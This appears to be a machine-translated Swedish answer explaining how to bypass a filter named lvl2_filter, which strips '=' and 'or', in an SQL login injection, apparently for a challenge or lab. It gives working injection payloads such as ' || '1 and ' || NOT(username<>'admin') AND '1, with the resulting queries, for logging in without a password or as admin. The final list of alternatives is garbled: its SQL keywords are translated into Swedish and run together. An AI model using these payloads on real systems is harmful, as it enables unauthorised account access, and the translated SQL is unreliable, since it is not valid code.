Om vi antar denna definition av lvl2_filter
, vilket i princip tar bort alla förekomster av = och eller tills den inte längre hittas bör det fortfarande vara möjligt att använda logisk ELLER operation
med || istället för ELLER och ett enkelt uttryck som utvärderas till sant som:
username: dummy
password: ' || '1
Detta skulle resultera i:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
För att välja en specifik användare kan man använda reglerna för boolesk algebra
, där x=y =!(x!=y) :
username: dummy
password: ' || NOT(username<>'admin') AND '1
Detta skulle resultera i:
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
Här <> motsvarar != men innehåller ingen = .
Det finns också andra operationer som man kan använda för att säkerställa användarnamn är lika med admin :
användarnamn MELLAN 'admin' OCH 'admin'användarnamn LIKE 'admin'användarnamn IN ('admin')OM(STRCMP(användarnamn,'admin'), 0, 1)CASE STRCMP(användarnamn,'admin') WHEN 0 THEN 1 ANDES 0 END- ...